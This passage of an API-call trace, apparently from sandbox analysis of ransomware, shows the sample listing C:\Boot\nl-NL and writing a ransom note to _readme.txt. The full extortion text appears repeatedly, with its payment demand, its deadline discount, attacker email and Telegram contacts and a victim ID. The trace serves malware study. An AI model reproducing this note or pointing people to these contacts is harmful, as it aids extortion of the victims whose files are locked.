RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.266] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.266] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.266] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.266] PathFindFileNameW (pszPath="") returned="" [0059.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.266] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.267] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.267] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.267] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.267] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.267] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.267] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.267] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0059.267] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.267] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0059.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.268] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.268] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.268] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.269] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.269] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.270] CloseHandle (hObject=0x5c0) returned 1 [0059.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.270] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.270] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.270] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.270] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.270] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.270] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.270] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.271] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 